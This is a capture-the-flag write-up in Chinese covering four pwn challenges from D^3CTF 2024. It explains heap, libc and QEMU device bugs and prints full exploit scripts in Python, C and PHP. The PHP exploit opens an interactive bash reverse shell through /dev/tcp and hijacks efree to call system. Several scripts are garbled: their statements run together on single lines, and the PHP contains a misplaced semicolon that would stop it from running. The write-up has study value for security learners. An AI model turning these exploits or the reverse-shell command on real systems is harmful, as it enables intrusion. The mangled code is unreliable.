2024 D^3CTF pwn(d3note write_flag_where D3BabyEscape pwnshell)

文章目录

  • d3note libc 2.37
    • 源码
    • exp
  • write_flag_where glibc 2.38
    • 源码
    • 改scanf
      • 利用
    • 改write
  • D3BabyEscape
    • 源码
    • exp
  • pwnshell
    • php堆源码
    • exp

d3note libc 2.37

在这里插入图片描述

源码

在这里插入图片描述
index越界,show也没有检查,直接打印,这里找到got表,直接开搜就行
在这里插入图片描述
然后找能够存有freegot表地址的pie地址,并且pie地址要是余8的,另外不能更低了,更低的got表地址没有写权限,没找到,想看能不能存有chunk_array的pie地址的pie地址,没找到,找存有低于chunk_array的pie地址的pie地址,找到了,能写,然后写chunk_array里的len和ptr,达到任意地址读写的效果,然后写got表

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./pwn")
def add(len,index,content):p.sendline(str(0x114))time.sleep(1)p.sendline(str(index))time.sleep(1)p.sendline(str(len))time.sleep(1)p.sendline(content)time.sleep(1)def dele(index):p.sendline(str(0x1919))time.sleep(1)p.sendline(str(index))time.sleep(1)def edit(index,content):p.sendline(str(0x810))time.sleep(1)p.sendline(str(index))time.sleep(1)p.sendline(content)time.sleep(1)def show(index):p.sendline(str(0x514))time.sleep(1)p.sendline(str(index))time.sleep(1)show(-927) 
# -0x7ceb0
libc=u64(p.recv(6).ljust(8,b"\x00"))-0x7ceb0
print("libc",hex(libc))
system_=libc+0x4c990
add(10,0,b"/bin/sh\x00")
dele(0)
add(10,0,b"/bin/sh\x00")payload=p64(libc+0x1d46a0)+p64(0)*3+p64(0x100)+p64(0x0000000000404000)
edit(-1460,payload)edit(0,p64(system_))
gdb.attach(p)
pause()
add(16,1,b"/bin/sh\x00")
dele(1)
p.interactive()

在这里插入图片描述

write_flag_where glibc 2.38

这里我电脑不知道为啥打印的是libc基地址到libc代码段开始的部分,而且设置的范围也是libc基地址到libc代码段开始的部分。和题目的设定不一样,题目是代码段部分限制,打印也是代码段部分,所以这里就学习下其他师傅的wp

源码

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>#define FLAG_PREFIX "d3ctf{"
#define FLAG_PREFIX_LENGTH (sizeof(FLAG_PREFIX)-1)
#define FLAG_SUFFIX "}"
#define FLAG_SUFFIX_LENGTH (sizeof(FLAG_SUFFIX)-1)
#define LIBC_NAME "libc"char maps[0x1000], flag[0x100];
uint64_t libc_code_addr_start, libc_code_addr_end;void write_mem(uint64_t addr, uint8_t byte) { 
//   uint64_t addr:表示要写入的内存地址。
//   uint8_t byte:表示要写入的那个字节的值。int fd = open("/proc/self/mem", O_RDWR);///proc/self/mem是一个伪文件,它允许直接访问当前进程的地址空间lseek(fd, addr, SEEK_SET); //将文件描述符fd的文件偏移量设置为addrwrite(fd, &byte, 1);close(fd);
}void init() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stderr, NULL, _IONBF, 0);FILE* maps_stream = fopen("/proc/self/maps", "r");
//这个文件包含了当前进程的虚拟内存布局,包括各个内存段的起始地址、结束地址、权限、偏移量、设备ID以及文件名等信息。int count = 1;char *line = NULL;uint64_t len = 0;uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;char mode[0x10], file_path[0x100];memset(mode, 0, sizeof(mode));memset(file_path, 0, sizeof(file_path));while (getline(&line, &len, maps_stream) != -1 ) {  //getline函数从maps_stream中读取每一行sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",&addr_start, &addr_end, mode, &offset,&major_id, &minor_id, &inode_id, file_path);//sscanf函数来解析行中的各个字段if (count == 10) {libc_code_addr_start = addr_start;libc_code_addr_end = addr_end;break;}//第10行的开始和结束地址赋值给libc_code_addr_start和libc_code_addr_endcount++;}if (line) {printf("%s", line);free(line);}fclose(maps_stream);int fd = open("/flag", O_RDONLY);read(fd, flag, 0x100);close(fd);
}int main(int argc, char *argv[]) {init();uint64_t addr = 0;uint offset = 0;printf("flag: "FLAG_PREFIX"[a-f0-9]{%lu}"FLAG_SUFFIX"\n", strlen(flag) - FLAG_PREFIX_LENGTH - FLAG_SUFFIX_LENGTH);while (scanf("%lu%u", &addr, &offset) == 2) {if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||!(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))break;write_mem(addr, flag[offset]);}return 0;
}

改scanf

https://mp.weixin.qq.com/s/0sBfu94em2sR82OYDZF6zQ?poc_token=HDHBtGajH59VT0-NKwv7pjmuT48L_TeQClVKazJr

带源码调试后发现scanf("%lu%u", &addr, &offset)的大致逻辑如下

  • 不断遍历stdin缓冲区,直到有非空
  • 遍历格式化字符串,遍历到%lu后然后会从stdin缓冲区取一个字符,如果是减号或者加号会添加到当前字符缓冲区里
  c = inchar ();if (__glibc_unlikely (c == EOF))input_error ();/* Check for a sign.  */if (c == L_('-') || c == L_('+')){char_buffer_add (&charbuf, c);if (width > 0)--width;c = inchar ();}
  • 然后开始循环一个字符一个字符读stdin缓冲区的内容,每个字符需要通过相关检查才能加入当前字符缓冲区
    正常数字字符会进入
	char_buffer_add (&charbuf, c);if (width > 0)--width;c = inchar ();
  • 如果不是数字字符会进入,break后跳出循环
else if (!ISDIGIT (c) || (int) (c - L_('0')) >= base){……elsebreak;}
  • 然后判断当前字符串缓冲区长度和内容,然后会把非数字字符放回stdin缓冲区里并往字符缓冲区加入零字符来代替非数字字符
if (char_buffer_size (&charbuf) == 0|| (char_buffer_size (&charbuf) == 1&& (char_buffer_start (&charbuf)[0] == L_('+')|| char_buffer_start (&charbuf)[0] == L_('-')))){/* There was no number.  If we are supposed to read a pointerwe must recognize "(nil)" as well.  */if (__builtin_expect (char_buffer_size (&charbuf) == 0&& (flags & READ_POINTER)&& (width < 0 || width >= 5)&& c == '('&& TOLOWER (inchar ()) == L_('n')&& TOLOWER (inchar ()) == L_('i')&& TOLOWER (inchar ()) == L_('l')&& inchar () == L_(')'), 1))/* We must produce the value of a NULL pointer.  A single'0' digit is enough.  */char_buffer_add (&charbuf, L_('0'));else{/* The last read character is not part of the numberanymore.  */ungetc (c, s);conv_error ();}}else/* The just read character is not part of the number anymore.  */ungetc (c, s);/* Convert the number.  */char_buffer_add (&charbuf, L_('\0'));
  • 然后将字符缓冲区转化为数字,数字保存在num.ul
  if (need_longlong && (flags & LONGDBL)){…………;elsenum.uq = __strtoull_internal(char_buffer_start (&charbuf), &tw, base, flags & GROUP);}
  • 给参数赋值,参数是地址,所以是*的形式
 else if (need_long && (flags & LONG))*ARG (unsigned long int *) = num.ul;…………else*ARG (unsigned char *) = (unsigned char) num.ul;		    
  • 然后再次开始继续遍历格式化字符串,直到格式化字符串为0字节
 while (*f != '\0'){…………}

利用

这里scanf("%lu%u", &addr, &offset)分割输入通过非数字字符(换行符)可以分开

然后可以利用向缓冲区读一个字符来判断正负号时将正负号替换为写入的flag字符,然后下次调用scanf时就会向stdin缓冲区读一个字符(输入的字符)来和写入的flag字符比较,如果是的话会把该字符放到当前字符缓冲区里,然后继续取stdin缓冲区(没有的话会等待用户输入,因为是一个字节的读缓冲区),不是的话就会按照后面数字字符读取

改了判断的字符但问题是__strtoull_internal会转换字符串为数字,并且对相应符号也有转换规则

通过其他版本的源码级别调试确定所给版本IDA反编译对应的位置和相关函数的源码路径

stdlib/strtol_l.c首先会判断第一个字符,然后将剩下字符转换为对应的数字,最后根据前面符号来确定正负,如果判断第一个字符没有找到合适后面转换对应数字也没有对应的会break,然后会返回0

negative = 0;if (*s == L_('-')){negative = 1;++s;}else if (*s == L_('+'))++s;…………for (;c != L_('\0'); c = *++s){if (s == end)break;if (c >= L_('0') && c <= L_('9'))c -= L_('0');
#ifdef USE_NUMBER_GROUPING
# ifdef USE_WIDE_CHARelse if (grouping && (wchar_t) c == thousands)continue;
# elseelse if (thousands_len){for (cnt = 0; cnt < thousands_len; ++cnt)if (thousands[cnt] != s[cnt])break;if (cnt == thousands_len){s += thousands_len - 1;continue;}if (ISALPHA (c))c = TOUPPER (c) - L_('A') + 10;elsebreak;}
# endif
#endifelse if (ISALPHA (c))c = TOUPPER (c) - L_('A') + 10;elsebreak;if ((int) c >= base)break;/* Check for overflow.  */if (i > cutoff || (i == cutoff && c > cutlim))overflow = 1;else{use_long:i *= (unsigned LONG int) base;i += c;}}…………return negative ? -i : i;

改write

https://blog.xmcve.com/2024/04/29/D3CTF-2024-Writeup/#title-4
原来write是往 open("/proc/self/mem", O_RDWR)的文件描述符写flag数组的某个偏移处的字节值,不难想到可以改文件描述符为标准输出,从而回显

unsigned __int64 __fastcall write(unsigned int a1, const char *a2, size_t a3)
{unsigned __int64 result; // raxunsigned __int64 v4; // raxunsigned int v5; // r8dunsigned __int64 fd; // [rsp+0h] [rbp-20h]if ( _libc_single_threaded ){result = sys_write(a1, a2, a3);if ( result > 0xFFFFFFFFFFFFF000LL ){__writefsdword((unsigned int)&errno, -(int)result);return -1LL;}}else{sub_938F0();v4 = sys_write(a1, a2, a3);if ( v4 > 0xFFFFFFFFFFFFF000LL ){__writefsdword((unsigned int)&errno, -(int)v4);v4 = -1LL;}fd = v4;sub_93970(v5);return fd;}return result;
}

这里根据_libc_single_threaded 来执行不同分支,如果__libc_single_threaded为零会通过栈上偏移内容来传参
在这里插入图片描述
服务器在处理客户端连接时,将 socket 文件描述符重定向为 0、1、2,那么标准输入、输出、错误都会指向同一个 连接socket,这样客户端发送数据到socker最后在服务端会变成程序从0输入,接收数据就是从服务端打印到2,从而输出到socker

.text:000000000011B2C4 8B 7C 24 08     mov     edi, dword ptr [rsp+28h+fd] ; fd
  1. 8B: 这是 MOV 指令的操作码(Opcode)

    • 8B 表示从内存移动到寄存器的 32 位操作
  2. 7C: 这是 ModR/M 字节

    • 7 = 111b: 表示使用 [寄存器+偏移量] 的寻址模式
    • C = 1100b:
      • 11b: 表示目标操作数是寄存器
      • 00b: 表示目标寄存器是 EDI (000 对应 EAX, 001 对应 ECX, …, 111 对应 EDI)
  3. 24: 这是 SIB (Scale-Index-Base) 字节

    • 2 = 00 10b:
      • 00b: 比例因子为 1
      • 10b: 索引寄存器是 ESP (100)
    • 4 = 100b: 基址寄存器是 ESP/RSP (100)
  4. 08: 这是一个 8 位的偏移量

    • 表示相对于 RSP 的偏移量是 8 字节

解释:

  • MOV 指令用于数据移动
  • 目标操作数是 EDI 寄存器
  • 源操作数是一个内存位置,由 [RSP + 8] 指定
  • 使用 SIB 字节是因为基址寄存器是 ESP/RSP

注意:

  1. 在 64 位模式下,即使操作数是 32 位的,地址计算仍然使用 64 位寄存器(这里是 RSP)
  2. 原始汇编中的 [rsp+28h+fd] 在编译后被优化为 [rsp+8],这可能是因为编译器重新安排了栈帧布局

所以这里改08字节使得 [rsp+8]为零就行

.text:000000000011B284 80 3D B5 B2 0E 00 00  cmp     cs:__libc_single_threaded, 0
  1. 80: 这是操作码(opcode),代表 cmp 指令。cmp 是一个比较指令,用于比较两个操作数。

  2. 3D: 这是 cmp 指令的 ModR/M 字节,表示将立即数与一个内存地址中的值进行比较。

  3. **B5 B2 0E 00 **: 这四个字节表示内存地址的偏移量(offset)。在这个指令中,内存地址是相对于当前指令所在位置的偏移量。这是一个 32 位的小端序地址(低字节在前,高字节在后),对应的偏移量是 0x000EB2B5

  4. 00: 这是要比较的立即数,表示与 0 进行比较。

__libc_single_threaded值好像默认是1,这里把立即数改为1

D3BabyEscape

大部分是溢出,基本都是溢出读函数指针泄露libc然后溢出写函数指针

源码

__int64 __fastcall mmio_read(const char ****a1, unsigned __int64 addr, unsigned int size)
{__int64 dest; // [rsp+30h] [rbp-20h] BYREFstruct dev_state *state; // [rsp+38h] [rbp-18h]unsigned __int64 v7; // [rsp+40h] [rbp-10h]unsigned __int64 v8; // [rsp+48h] [rbp-8h]v8 = __readfsqword(0x28u);state = (struct dev_state *)sub_7F810F(a1,(__int64)"l0dev",(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",0x52u,(__int64)"l0dev_mmio_read");dest = -1LL;v7 = addr >> 3;if ( size > 8 )return dest;if ( 8 * v7 + size <= 0x100 )memcpy(&dest, &state->buf[(unsigned int)(state->base + addr)], size);return dest;
}
// local variable allocation has failed, the output may be wrong!
const char ****__fastcall mmio_write(const char ****a1, unsigned __int64 addr, const char *val, __int32 size)
{const char ****result; // rax__int32 size_1; // [rsp+4h] [rbp-3Ch] OVERLAPPEDconst char *value; // [rsp+8h] [rbp-38h] BYREFunsigned __int64 addr_2; // [rsp+10h] [rbp-30h]const char ****v8; // [rsp+18h] [rbp-28h]int addr_1; // [rsp+24h] [rbp-1Ch]struct dev_state *state; // [rsp+28h] [rbp-18h]unsigned __int64 v11; // [rsp+30h] [rbp-10h]const char *v12; // [rsp+38h] [rbp-8h]v8 = a1;addr_2 = addr;value = val;size_1 = size;state = (struct dev_state *)sub_7F810F(a1,(__int64)"l0dev",(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",0x85u,(__int64)"l0dev_mmio_write");v11 = addr >> 3;result = (const char ****)addr;addr_1 = addr;if ( (unsigned int)size_1 <= 8 ){result = (const char ****)(8 * v11 + (unsigned int)size_1);if ( (unsigned __int64)result <= 0x100 ){if ( addr_1 == 64 ){v12 = value;addr_1 = state->function((const char *)&value) % 256;return (const char ****)memcpy(&state->buf[addr_1], &value, (unsigned int)size_1);}else if ( addr_1 == 128 ){result = (const char ****)value;if ( (unsigned __int64)value <= 0x100 ){result = (const char ****)state;state->base = (_DWORD)value;}}else{return (const char ****)memcpy(&state->buf[addr_1], &value, (unsigned int)size_1);}}}return result;
}
__int64 __fastcall pmio_read(const char ****a1, unsigned __int64 addr, unsigned int size)
{__int64 dest; // [rsp+30h] [rbp-20h] BYREFstruct dev_state *state; // [rsp+38h] [rbp-18h]unsigned __int64 v7; // [rsp+40h] [rbp-10h]unsigned __int64 v8; // [rsp+48h] [rbp-8h]v8 = __readfsqword(0x28u);state = (struct dev_state *)sub_7F810F(a1,(__int64)"l0dev",(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",0x68u,(__int64)"l0dev_pmio_read");dest = -1LL;v7 = addr >> 3;if ( size > 8 )return dest;if ( 8 * v7 + size > 0x100 )return dest;memcpy(&dest, &state->buf[(unsigned int)addr], size);if ( (_DWORD)dest == 666 )++key;return dest;
}
// local variable allocation has failed, the output may be wrong!
void *__fastcall pmio_write(const char ****a1, unsigned __int64 addr, __int64 value, unsigned int size)
{void *result; // raxunsigned int size_1; // [rsp+4h] [rbp-3Ch] OVERLAPPED__int64 value_1; // [rsp+8h] [rbp-38h] BYREFunsigned __int64 addr_1; // [rsp+10h] [rbp-30h]const char ****v8; // [rsp+18h] [rbp-28h]int v9; // [rsp+2Ch] [rbp-14h]struct dev_state *state; // [rsp+30h] [rbp-10h]unsigned __int64 v11; // [rsp+38h] [rbp-8h]v8 = a1;addr_1 = addr;value_1 = value;size_1 = size;state = (struct dev_state *)sub_7F810F(a1,(__int64)"l0dev",(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",0xADu,(__int64)"l0dev_pmio_write");if ( key )return memcpy(&state->buf[(unsigned int)(state->base + addr_1)], &value_1, size_1);result = (void *)(addr_1 >> 3);v11 = addr_1 >> 3;if ( size_1 <= 8 ){result = (void *)(8 * v11 + size_1);if ( (unsigned __int64)result <= 0x100 ){v9 = addr_1;return memcpy(&state->buf[(unsigned int)addr_1], &value_1, size_1);}}return result;
}
  • mmio_write写base在0x100范围内,而addr在255范围内,buf在276范围内,mmio_read时候溢出读高地址的函数指针泄露libc地址
  • pmio_write写buf某个位置666,然后pmio_read读该位置使得key++满足pmio_write越界写的条件然后越界写函数指针为system地址
  • mmio_write调用该函数指针,参数可控为/bin/sh

mmio_read那部分有点问题&state->buf[(unsigned int)(state->base + addr)]这里应该是addr/8*8
最后写rand_r地址得时候写低四个字节就够了

最后由于val值只能是四个字节,所以system(sh\x00)

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>uint32_t pmio_base=0x000000000000c000;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{outl(value,pmio_base+addr);
}
uint32_t pmio_read(uint32_t addr)
{return (uint32_t)inl(pmio_base+addr);
}char* mmio_mem;
void mmio_write(uint64_t addr, uint64_t  value) {*(uint32_t*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr)
{return *(uint64_t *)(addr+mmio_mem);
}int main()
{   iopl(3);setbuf(stdin,0);setbuf(stdout,0);//立即显示到终端上int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);mmio_write(128,244);//mmio_write(64,123); rand_ruint64_t leak_addr=mmio_read(32);printf("libc %p\n",leak_addr-0x46780);uint64_t system_addr=leak_addr-0x46780+0x50d70;printf("system_addr %p\n",system_addr);pmio_write(0,666);pmio_read(0);pmio_write(32,system_addr);char str[3]="sh\x00";uint32_t cmd =*(uint32_t*)str;printf("cmd %p\n",cmd);mmio_write(64,cmd); }

pwnshell

发现有些函数的参数反汇编少了,改函数定义,添加参数


Z zval**类型

然后拿某个扩展库找到该结构体定义,然后在IDA中新建该结构体
存在off by null

unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2)
{__int64 index; // rbp__int64 v3; // rdi__int64 avai_index; // rdx_BYTE *p_notexist; // raxstruct chunk *v7; // r12struct chunk1 *chunk1; // rbxvoid *chunk2; // raxsize_t size; // rdxchar *ptr; // rsistruct _zval_struct *v12; // r13size_t size_1; // raxstruct _zval_struct *arg2; // [rsp+8h] [rbp-40h] BYREFstruct _zval_struct *arg1; // [rsp+10h] [rbp-38h] BYREFunsigned __int64 v16; // [rsp+18h] [rbp-30h]v3 = *(unsigned int *)(a1 + 44);v16 = __readfsqword(0x28u);if ( (unsigned int)zend_parse_parameters(v3, "zz", &arg1, &arg2) != -1 )// v13是第二个参数{if ( arg1->u1.v.type == 6 && arg2->u1.v.type == 6 ){avai_index = 0LL;p_notexist = &chunkList[0].notexist;while ( *p_notexist != 1 ){++avai_index;p_notexist += 16;if ( avai_index == 16 )goto LABEL_9;}index = avai_index;
LABEL_9:v7 = &chunkList[index];chunk1 = (struct chunk1 *)_emalloc((_QWORD *)(arg2->value.lval->len + 16));chunk2 = (void *)_emalloc((_QWORD *)arg1->value.lval->len);chunk1->chunk2_ptr = chunk2;size = arg1->value.lval->len;ptr = arg1->value.lval->val;chunk1->chunk1_size = size;memcpy(chunk2, ptr, size);v12 = arg2;memcpy(chunk1->chunk1_buf, arg2->value.lval->val, arg2->value.lval->len);size_1 = v12->value.lval->len;v7->chunk_ptr = chunk1;v7->notexist = 13;*((_BYTE *)chunk1->chunk1_buf + size_1) = 0;// off by null}else{*(_DWORD *)(a2 + 8) = 1;}}return v16 - __readfsqword(0x28u);
}

在这里插入图片描述

php堆源码

_emalloc->zend_mm_alloc_heap
zend_mm_alloc_small* Small - less than 3/4 of page size. Small sizes are rounded up to nearest*         greater predefined small size (there are 30 predefined sizes:*         8, 16, 24, 32, ... 3072). Small blocks are allocated from*         RUNs. Each RUN is allocated as a single or few following pages.*         Allocation inside RUNs implemented using linked list of free*         elements. The result is aligned to 8 bytes.
zend_mm_alloc_large* Large - a number of 4096K pages inside a CHUNK. Large blocks*         are always aligned on page boundary.
zend_mm_alloc_huge* Huge  - the size is greater than CHUNK size (~2M by default), allocation is*         performed using mmap(). The result is aligned on 2M boundary._efree->zend_mm_free_heap

通过size得到所在bin的idx

if (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size))
ZEND_MM_SMALL_SIZE_TO_BIN的转换规则如下
if (size <= 64) {/* we need to support size == 0 ... */return (size - !!size) >> 3; } else {t1 = size - 1;t2 = zend_mm_small_size_to_bit(t1) - 3;t1 = t1 >> t2;t2 = t2 - 3;t2 = t2 << 2;return (int)(t1 + t2);}

如果对应的bin初始化了(不为NULL)就按照类似tcache方式分配掉,否则通过zend_mm_alloc_small_slow初始化并返回第一个
size在small范围时候进入该函数,

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_STATdo {size_t size = heap->size + bin_data_size[bin_num];size_t peak = MAX(heap->peak, size);heap->size = size;heap->peak = peak;} while (0);
#endifif (EXPECTED(heap->free_slot[bin_num] != NULL)) {zend_mm_free_slot *p = heap->free_slot[bin_num];heap->free_slot[bin_num] = p->next_free_slot;return p;} else {return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
}

这里会初始化,会分配些页面给当前size对应的idx,然后切分成各个块通过链表链接起来,所以一开始是物理相邻的


static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{zend_mm_chunk *chunk;int page_num;zend_mm_bin *bin;zend_mm_free_slot *p, *end;bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);if (UNEXPECTED(bin == NULL)) {/* insufficient memory */return NULL;}chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;chunk->map[page_num] = ZEND_MM_SRUN(bin_num);if (bin_pages[bin_num] > 1) {uint32_t i = 1;do {chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);i++;} while (i < bin_pages[bin_num]);}/* create a linked list of elements from 1 to last */end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);do {p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);} while (p != end);/* terminate list using NULL */p->next_free_slot = NULL;/* return first element */return bin;
}
b _start  连接后先执行,然后会加载libc库
b* __libc_start_main+128 会调用一个函数去解析php
该函数然后call rax会进入另一个函数

在这里插入图片描述
在另一个函数里最终调用call qword ptr [rdx+0x10]加载库

b*pie+0x247861  和php版本有关

在这里插入图片描述

exp

这里选择一个没有被初始化过bin的size大小,这样得到的第一个是页对齐的,就是低字节是零字节
然后addhacker第一次分配时候第一个chunk零字节溢出改到此时链表第一个chunk的next部分低字节,
然后再次addhacker,此时申请的第二个chunk将原来的第一次分配的第一个chunk分配到,
然后此时可以改原来的第一个chunk的chunk2ptr和size(edithacker要用),然后覆盖为efree的got表地址,
然后edithacker改为system就行,最后addhacker将申请的第二个chunk存放命令就行,然后removehacker掉最后addhacker的index

<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";function u64($leak){$leak = strrev($leak);$leak = bin2hex($leak);$leak = hexdec($leak);return $leak;
}function p64($addr){$addr = dechex($addr);$addr = hex2bin($addr);$addr = strrev($addr);$addr = str_pad($addr, 8, "\x00");return $addr;
}function leakaddr($buffer){global $libc,$mbase;$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';preg_match_all($p, $buffer, $libc);preg_match_all($p1, $buffer, $mbase);return "";
}function leak(){global $libc_base, $module_base, $libc, $mbase;ob_start();include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);$libc_base=hexdec($libc[1][0]);$module_base=hexdec($mbase[1][0]);
}function main(){$cmd = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"';leak();global $libc_base, $module_base;addHacker(str_repeat("\x11", 0x8), str_repeat("\x11", 0x30));addHacker(str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x11");, str_repeat("\x11", 0x2f));addHacker(str_pad($cmd, 0x40, "\x00"), "1");editHacker(0, p64($libc_base + 0x4c411););removeHacker(2);
}main();
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/401456.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

asp.net core 调用wps实现word转pdf

安装wps https://www.wps.cn/ 创建.net core控制项目 添加com引用&#xff0c;搜索wps 准备word&#xff0c;名字叫001.docx word转pdf 编写代码 namespace WPSStu01 {internal class Program{static void Main(string[] args){Console.WriteLine("转化开始&q…

日撸Java三百行(day24:二叉树的建立)

目录 一、分析准备 二、代码实现 1.方法创建 2.数据测试 3.完整的程序代码 总结 一、分析准备 在日撸Java三百行&#xff08;day22&#xff1a;二叉树的存储&#xff09;中&#xff0c;我们学习的是如何将链表二叉树转换为顺序表二叉树进行存储&#xff0c;而今天我们要…

一套完整的NVR方案与部分NVR录像机GUI源码剖析

一、部分功能展示 1.1 通道管理部分 在NVR系统中&#xff0c;通道管理是核心功能之一。通过通道管理&#xff0c;用户可以对连接的摄像头进行配置和监控。 通道连接使能&#xff1a;用户可以选择开启或关闭特定通道的连接功能&#xff0c;以实现灵活的设备管理。 时间同步&…

Kali Linux 三种网络攻击方法总结(DDoS、CC 和 ARP 欺骗)

一、引言 在当今数字化的时代&#xff0c;网络安全成为了至关重要的议题。了解网络攻击的方法和原理不仅有助于我们增强防范意识&#xff0c;更是网络安全领域专业人员必备的知识。Kali Linux 作为一款专为网络安全专业人员和爱好者设计的操作系统&#xff0c;提供了丰富的工具…

VideoPlayer插件的用法

文章目录 1. 概念介绍2. 使用方法2.1 实现步骤2.2 具体细节 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何获取文件类型"相关的内容&#xff0c;本章回中将介绍如何播放视频.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 播放视频是我们常用…

Windows11下wsl闪退的解决

wsl闪退 1. 原因分析 解释&#xff1a;WSL&#xff08;Windows Subsystem for Linux&#xff09;闪退通常指的是在Windows操作系统中运行的Linux环境突然关闭。这可能是由于多种原因造成的&#xff0c;包括系统资源不足、WSL配置问题、兼容性问题或者是Linux内核的问题。&…

【Python学习-UI界面】PyQt5 小部件13-Slider 拖动条

高级布局管理器&#xff0c;允许通过拖动边界来动态改变子小部件的大小。 Splitter控件提供一个手柄&#xff0c;可以拖动以调整控件的大小 样式如下: 常用方法如下&#xff1a; 序号方法描述1addWidget将小部件添加到拆分器的布局中2indexOf返回布局中小部件的索引3insetW…

MySQL架构与数据库基础

文章目录 一、数据库概念二、数据库的简单概念三、SQL四、MySQL架构 一、数据库概念 数据库是一个以某种由组织的方式存储的数据集合。我们可以把数据库想象称为一个文件柜。此文件柜是一个存放数据的物理位置&#xff0c;不管数据是什么以及如何组织的。数据库本质也需要像文…

EMC学习笔记2——电磁兼容问题分析

分析一个电磁兼容问题一般从三方面入手&#xff0c;分别是骚扰源、敏感源、耦合路径。解决掉其中一个问题&#xff0c;就能解决大部分的电磁兼容问题。 例如&#xff1a;当骚扰源是雷电时&#xff0c;敏感源是电子线路时&#xff0c;我们需要消除的就是耦合电路。 耦合路径就是…

LLM - 微调(Fine-Tuning) Llama3 以及合并微调模型 教程

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/141218047 在微调 Llama3 大模型时&#xff0c;需要注意一些事项&#xff1a; 合适的预训练模型&#xff1a;不同的预训练模型具有不同的特点和适…

Java 操作 Redis和redis持久化

一、Jedis 我们要使用 Java 来操作 Redis&#xff0c;Jedis 是 Redis 官方推荐的 java连接开发工具&#xff01; 使用Java 操作 Redis 中间件&#xff01; 1.导入对应的依赖 https://mvnrepository.com/artifact/redis.clients/jedis <dependency><groupId>redi…

Keycloak中授权的实现-转载

在Keycloak中实现授权&#xff0c;首先需要了解与授权相关的一些概念。授权&#xff0c;简单地说就是某个&#xff08;些&#xff09;用户或者某个&#xff08;些&#xff09;用户组&#xff08;Policy&#xff09;&#xff0c;是否具有对某个资源&#xff08;Resource&#xf…

CAN总线详解-理论知识部分

目录 CAN总线简介 CAN总线硬件电路 CAN电平标准 CAN收发器 ​编辑 CAN物理层特性 CAN总线帧格式 数据帧 数据帧格式 数据帧发展历史 遥控帧 错误帧 过载帧 帧间隔 位填充 波形实例 CAN总线接收方数据采样 接收方数据采样遇到的问题 位时序 硬同步 再同步 波…

Cesium.js:webGIS领域的翘楚,开源全球地理空间数据可视化框架.

说起数据可视化/数字孪生开发&#xff0c;少不了webGIS&#xff0c;聊起webGIS不得不提大名鼎鼎的Cesium.js框架。 CesiumJS是一个用于创建地理空间应用程序的开源JavaScript库。它提供了丰富的地图和地理空间数据的可视化功能&#xff0c;可以用于构建基于地理位置的3D地图、…

nvm介绍、下载、安装、配置及使用

